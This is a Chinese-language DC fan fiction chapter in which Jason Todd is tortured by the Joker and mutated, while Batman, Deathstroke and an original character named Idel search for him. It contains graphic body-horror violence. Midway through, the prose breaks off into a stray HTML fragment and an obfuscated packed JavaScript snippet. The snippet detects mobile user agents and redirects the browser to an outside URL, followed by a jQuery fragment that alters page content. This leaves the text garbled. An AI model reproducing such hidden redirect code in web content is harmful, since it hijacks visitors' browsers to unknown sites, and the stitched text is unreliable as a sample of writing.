铁丝紧紧勒住四肢,刺出皮肤的骨折断面淤血在其下堆积,撕裂痛和心脏处的灼烧感伴随每次呼吸扎进麻木的感官。
原因自不必说,看看胸腔凹陷的部位就知道了,肺部已经成了一团被攥烂的湿报纸,但这些都不是杰森目前最关心的。
尖厉的模糊对话还在耳边喋喋不休,充血的眼睛在迷茫的视物却找不到焦点,只有背后抡来的撬棍击打身体的声音还在继续。
对于需要捧场的丑角而言,一人的独角戏可谓是极大的的漠视。
这让他停下了手中挥舞的动作,靠在撬棍上自言自语起来。
“哼,我们的嘉宾好像兴致不高啊……哦对!流程,要走流程,检票进场、找到座位、吃点零食、欣赏表演,最后才是喝彩的掌声与欢呼!”
一把椅子被拖过来盛放好杰森,固定完毕后,小丑又开始神神叨叨的说着什么。
恍惚间杰森好像看到小丑张合的嘴中,探出了一只无皮的深红色手臂伸向了自己,像是在欣赏什么的绕着自己扭动徘徊,最后满意的拍了拍收回,从胸口抽出流淌着蜜液的花塞进了自己的胃。
思维像果冻般逐渐凝固,面对询问已经停止转动,只能维持基本的运作。
随后它轻轻抚摸了自己的头后问道:
“Who are you?”
“杰森……托德。”
“你曾经受过很严重的伤对吗?”
“是的。”
“有人救了你。”
“是的。”
“是谁?”
“我的朋友。”
“是谁?”
“我的兄弟。”
“是谁?”
“我的——唔!咳咳……咳…”
又传来了熟悉的痛,区别于躯体的伤痛,那更像是更高层面的、把一块烙铁探进灵魂,滋滋作响的痛。
手好像将更多不属于杰森托德的杂质揉捏进来,随意把玩塑形。
不知过了多久,房间内寂静无声,也没有任何人的踪影了。
可能是从上到下从里到外的痛和冷模糊了时间,杰森感觉自己整个人都在膨化,涨的快要爆炸。
也好像真的要爆炸了。
模糊的视线看清前方红色的数字,杰森终于反应过来那意味着什么。
靠着体内携带治愈疗效的血液,忽略内脏器官破裂导致的腹腔出血,杰森开始为自己的生命做出最后的挣扎。
阿卡姆疯人院中到处都有监控和安保,只要打开大门冲出房间,无论怎样都不会比现在更差了。
好消息是四肢长骨的粉碎性骨折造成了肢体的软瘫,杰森经过几番扭转后勉强从铁丝的固定中脱离出来,只留下了些沾血的皮肤组织。
蠕动着向前爬行,地上血色的手印被漆黑发红的拖痕覆盖,一枚枚攀上通向希望的门。
面对上锁的门,在注意到下方缝隙狭小的锁孔后,杰森思索片刻,选择拔出一根划破了皮肤的骨刺,毕竟此时缺少一根半截的骨头好像也不太重要了。
奈何扭曲的手指进行不了高精度的操作,站不起身的杰森用手掌卡住门把手,将自己挂在锁孔旁开始尝试。
徒然,外面响起尖锐的物体划过门板的刺耳响声,紧接着是熟悉的“呜!呜!”本该锁死的匙孔在微弱的颤抖后发出声‘咔’的轻响。
杰森重重摔在地上,是维德扇着凌乱的羽毛赶来了。
没有人知道一只猫头鹰是如何定位到突然失踪的杰森的,也没有人知道它是怎么在这样短的时间内飞跃渺茫的距离,但结果就是它赶来了,
即使它坚硬的喙已磨损开裂,上方柔软的蜡膜也开裂渗出红色。
即使它引以为豪的爪子折断在匙孔里。
眩晕感褪去,左侧视线看不清事物了,只有奇怪的拖拽感和温热的液体在不断溢出,还能视物的右眼勉强支撑起辨别方向的责任,但时不时的黑暗也表明情况不容乐观。
如果有更多的眼睛就好了,至少不会因为损失一个就陷入绝境;或者更多的手也行,开门撬锁都会更容易;不如更多的脚,跑的更快,更多的……
被落在后方的倒计时声音渐渐远去,寥寥无几的时间催促着压迫着杰森不要停下。
明明白天自己还在悠闲的看书、去厨房偷吃最新的甜点,吹着暖风在树下小憩,明明一切都美好的像童话冒险故事一样的发展,茜拉和布鲁斯也相处愉快,自己还发现了个崇拜自己的小跟班。
为什么会这样……杰森视线朦胧,他看见布鲁斯来救他了。
*
借水为屏的高耸建筑,类巴洛克风格却带着狂妄肆意的姿态凝固的石头颂歌。
走廊的灯光闪烁几下又恢复正常,巡逻的警卫在其中交接周而复始,尽职尽责的守卫着每个隔间。
一对人匆匆走过,为首的人带着单边眼罩,抽着烟嘴里骂骂咧咧道:“这算什么任务?去杀一个人,性别不明、姓名不明、没有照片、没有任何资料,只有一句‘偷窃了卢浮宫一件古董的人’作为标准。”
“呵,‘一个偷东西的人’。这范围精准得就像说‘地球上有活人’。”
讽刺的话语没有任何回应,跟在他身后的队伍好像什么都没听到般机械的迈着相通的步伐行进着,显然对话者另有其人。
“这是刚转到我们部的任务,好好做。莱姆枢牙那边失手了,这可是我们部的机会。”
耳麦里的人用带钩子的语调说着,“我可是很看好你的,丧钟,可别让事情闹大,那些人的下场你也看到了不是吗?任务完成皆大欢喜,任务失败……”
监控镜头下丧钟的脸上愈发阴沉,斯嘉特也适时的给出好消息。
“不过追踪的事不用你操心,莱姆枢牙会借给你一只优秀的‘猎犬’,它会带你找到那个人的,你要做的只是把人带回来就行,生死不论。”
队伍走进电梯,等待几秒后门开警卫径直出门,徒留丧钟继续下降。
空旷的电梯内,丧钟抬头扫了一眼监控,又看了眼头顶的照明灯没有说话。
到达底层,丧钟离开,电梯门关闭后照明熄灭,无人的电梯独自运作,重复爬升停止,发出嗞嗞的电磁声。
挂满缆绳和配重的电梯井内,有处黑影死死盯着下方。
在又一班警卫换班后,一位原本体型偏瘦的守卫走出电梯后长高了6英寸,并在频繁经过种植区时放慢脚步。
[sir,奈何岛工业区有人为爆破和低温痕迹,迪克少爷还有十二分钟抵达骚乱区;芭芭拉小姐刚刚通过韦恩慈善儿童福利院对面的书店监控,发现了伊德尔少爷的行踪,但就像他之前从蝙蝠洞一样,只是经过了一分二十八秒就再次突然消失了。]
已经反复查看了8遍芭芭拉发来的视频,阿尔弗雷德还是对眼下的局面感到棘手。
杰森的失踪、伊德尔下落不明芭芭拉和自己在奋力寻找,但连线索都少到没有的情况实属少见。
多年的经历让阿尔弗雷德明白焦急是无用的,最好的办法是解决问题,而他已经这么做了。
[扎塔娜小姐和康斯坦丁失联,戴安娜女士的城市被迷雾笼罩着暂时没有信号,只有上都夫人留下一个‘水’的方向后再也不肯回答了。]
糟糕的处境让通讯里的气氛变得十分压抑,是放弃眼前批量的有毒糖果调查回援哥谭,还是继续深入总是要下个决断的。
“嘿,你,就是你,观察窗前面那个,跟我回地面。”拐角的安全出口有人叫住了布鲁斯。
换上自己橙黑色制服的丧钟牵着皮肤青黑的爬行物走来,“我需要个人给我提供后期服务。”
沉默的徒步很漫长,还未暴露的布鲁斯观察四周正欲抢先下手就听:“我知道你是谁,蝙蝠侠。”
抬刀挡住迎面的飞镖丧钟道,“你现在不该在这,尼芙主教通过仪式转化了你的罗宾,你现在应该陪他走完最后一程。”
“……他在哪。”
“记得,你欠我一次的。”
一个小巧的定位接收器和智能密钥被丧钟一起抛来,“开走吧,这里暂时没人监控。”
*
从看到神秘的几何图案到分析出其含义需要多久。
答案是不需要时间。
因为伊德尔根本看不懂这枚图案。
但这不影响什么,因为伊德尔现下落在了一艘船上。
一艘独自航行在暗夜中,黑色的海水吞没所有光亮,若不是海浪的声音,无法视物的环境让伊德尔还以为坠入了更深的梦。
感受着脚下摇晃起伏的甲板,时不时涌上来一波的墨色海水冲过膝盖,远处颓然产生的闪电意味着此地不宜久留。
正欲抬脚,远处的动静让伊德尔愣住。
熟悉的白色小鸟从地上扑棱而来,若非伊德尔对它有所感应,单看其残缺血红的样子很难让人联想到这是一只骄傲的遨游于天际的渡鸦。
“维德?!你怎么在……哦……不……”惊疑的问题还未说完,伊德尔就顺着维德拖痕的血迹看向了前方。
一扇门‘砰’的打开抖落出滩泥状物体,力道之大导致它撞到围栏后飞溅出的肉块落入海中,还压着船身向下猛地倾斜。
裸露在外的骨膜颤颤巍巍的包裹着红白混淆的浆糊,让人联想到爬行性节肢动物的外表还在不停生长舒展摊开的触须。
黑红的黏稠液体伴随着体表不知哪个肿块的收缩向外泵出,与无光的环境融为一体,给小腿带来一丝温热。
它越是靠近,伊德尔就越感到熟悉,直到和一只宝石蓝的眼睛对视,他明白那是谁。
“杰……杰森……”
听到声音的杰森也激动的颤抖起来,但每一次喘息都像在吞咽碎玻璃,竭尽全力也只能发出嚇嚇的气声讲不出话。
“不,不……不!”伊德尔冲上去抱住勉强可以分辨出是头的位置,轻轻擦拭怀中手感软绵粘黏的肌肤,挤出一丝笑容安慰道,“别怕杰森,我会治好你的,别怕。”
古怪无人的幽灵船兀自飘在迷失方向的黑绡海面上,仿佛要开往另一个维度似的闯入风暴区。
死寂荒凉唯有闪电和雨声在迫近,一簇簇银色微光相继亮起,却也如飞蛾扑火起不到作用。
哆哆嗦嗦流着血的手从堆积的卵样的眼睛上抬起,腕上鸢尾在片片凋凛,杰森的肢体并没有恢复正常,生命体征倒是有所稳定,肉瘤内声带摩擦叫嚷着什么。
“炸……爆炸。”
雷声风声海浪声让伊德尔听不清杰森的话,俯下身找到肉壁最薄的地方贴近耳朵细听。
“小丑…放、炸弹……要炸了!”
*
大西洋城的旅馆,熄灯熟睡的少女听到了什么猛地睁眼,起身拿起行李匆匆出门,有目的的笔直奔跑,几十秒后便站在了沙滩延伸出的码头上。
此刻虽是最适宜休息的晨昏,码头却站满了张望的人,只因远处的海面升起的冲天火光。
角落的少女穿戴整齐的衣物下,数条银色的纹路淡淡浮现。
在闭眼沉心感受后,少女就像来时一般消失在原地,徒留一阵刮起了其余游客衣角的风。
【就是他?】
‘是的。’
【确定?】
‘确定’
【不后悔?】</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17265277|198088||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>
‘不后悔。’
大西洋城所属岛链的北部,从空中拍进淤泥的伊德尔在剧烈喘息,身体传来亏空的冷意。
从身下虚虚环着伊德尔的杰森也所察觉,遍布体表的眼睛开始快速转动检查起伊德尔有没有受伤。
虽然船上爆炸的冲击波自己有在保护伊德尔、转移坠落的冲击自己也垫在下方充当缓冲,加上由淤泥和沉积物堆积形成的湿地地基松软,对人身伤害的威力应该没有很大,但伊德尔依旧无力给予回应。
经过紧急救治的杰森知晓自己这种现在是没救了,但不要再让伊德尔也陷入这泥潭……
会是治疗的消耗太大了吗?杰森无助的猜测,层叠突出的眼睛流出泪水,沾湿了掉落的花瓣。
无色花也不复往日的金芒,草蔓围绕的手环只剩残枝枯萎,断裂后还虚虚的缠绕在手腕上。
种种迹象表明伊德尔的状态比任何时候都差。
“伊…德尔,伊德尔,快醒醒,别睡,有人来了,伊德尔,有人!”
远处的传来马达的声响,一艘冲锋舟摸黑靠近。
船上的人统一的服装戴着热成像和夜视仪,为首者背着巨型箱子,手中举着个圆盘样的物品来回寻找着方向。
在圆盘对准杰森和伊德尔的位置时,圆盘开始转动,背在身后的箱子也发出震动,呜呜的低鸣回荡在安静的湿地中。
这队武装人员之间目标明确,没有任何沟通的留守一人架起狙击枪,剩下的径直走来。
“嚇、嚇,咳咳,我没事……”
视觉神经如同过载的光纤,时灵时不灵的传递着残缺的信号,像生锈延迟的坏相机。
不明白对方来意,伊德尔和自己状态又都不好,杰森装作一滩肉泥静待其变。
潮湿的空气浸润心脏,水下黑影成包围状慢慢向中心的两人收拢,直到他们同时伸出手抓住伊德尔。
察觉有人想从自己身上带离伊德尔,杰森瞬间展开攻势,用残破的肢体钳制住对方用力扭断,“滚开!”
依旧是毫无沟通,但配合默契,哒哒哒的火光开始对杰森压制过来,体表的眼球爆开落入水中,糜烂的皮肤更加零碎。
「丰茂」
隐藏在海底的水草从沉眠中苏醒,爆发式的生长缠绕,探出水面卷起第一个向伊德尔伸手的人。
砰——砰——砰——
混战中留守的狙击手用子弹一一射断了植物,同时穿透了杰森的肢体,向着伊德尔而去。
一束白色挣扎的破水而出,用湿漉的羽毛跃起,替伊德尔挡住了子弹。
无暇顾及砸进水面生死不知的维德,迎面而来的还有更多毫不客气的火力倾泻,和被四面八方伸来的手强行拖走的伊德尔。
愤怒和疼痛让杰森暴怒发狂,等回过神来自己一侧的长须还死死攥着一条断腿,以自己为中心的海水一片血红。
挣脱桎梏、踹晕武装人员,伊德尔被杰森卷起重新趴回位置,安抚性的拍拍杰森示意自己很好,却暗自拔出刚才反抗中,好像突然从水面刺出扎在自己颈部的注射针头。
不知道里面放了什么药物,伊德尔现在头昏昏沉沉的,明明自己对药物有极强的耐药性的,这些人有备而来。
还有从水面的反射中出现、如苍白冻原的机械关节、皮肤表面覆盖的碎冰状结晶……
黑色破损的复古芭蕾舞裙突然从记忆中闪回,两块相互折射的菱形镜片隔着观察窗注视着伊德尔,又瞬间扭曲如流沙的抓不住。
远处的狙击手也不见了踪影,现场只有呜呜低鸣的圆盘还在震动。
压碎圆盘,杰森疲惫又留恋的看了眼伊德尔,用不清楚哪里是脸的位置蹭着啜泣起来。
还算完好的宝石蓝色眼球逐渐黯淡,却在瞳孔深处生出一丝绿意,向四周渗透漫延。
海湾重回平静。
夜鹭低头啄食,虫吟稀疏渐起,自然开始演奏生命的乐章,有些细微的变化在期间悄然发生。
许久后,更多的冲锋舟破冰驶来,还有些异常奇怪的生物在水下随行,狰狞的鳍刺破水面划出道道波痕。
头顶也快速飞来直升机,一个半身银白半身武装精良的人正顺着下放的绳索逼近。
在这绝望之际,发着暗银色光芒的身影从杰森和伊德尔旁边飞驰而过冲向对方,一记挥剑就打断了对方的冲锋,阻隔出安全区域留给后方。
感受到新登场者倾斜出的善意,杰森终于可以、也只能选择相信对方。
总不会更差了吧……
杰森已经可以用管风琴来形容的喉咙构造逐渐停止尖叫,防备着那个躲在暗处可能随时出现的敌人,结满冰霜的臃肿身躯开始回缩,用蓝绿色的瞳孔死死盯着伊德尔,像是要把他的面容拓印进脑海。
察觉到不好,伊德尔死死攥着贴近自己脸庞的触须,紧绷的喉咙发不出声音,只能僵硬的摇头落泪。
有那么一瞬间,杰森震颤的眼睛里流露出伊德尔陌生的情感,用沙哑的声音冲破肉质说道:“总有一天,我会回到你身边。”
他还想再唤出一声伊德尔,那陪伴了自己度过生命中所有美好的名字,那比日月先照亮自己生命的名字,却只能发出越来越弱的气息。
最后停下了所有肢体的动作,只是静静的望着伊德尔,印象中他总是神情淡漠,洁白如神明一样的精灵,此刻为我变得像极了凡人。
等我……回来……伊德尔。
吞下不舍与最后的未说出的话,杰森开始抑制不住的膨起、肿胀……
像被戳破的泡泡,“啵——”的一声轻轻炸开了。
伊德尔失去承托落入海湾。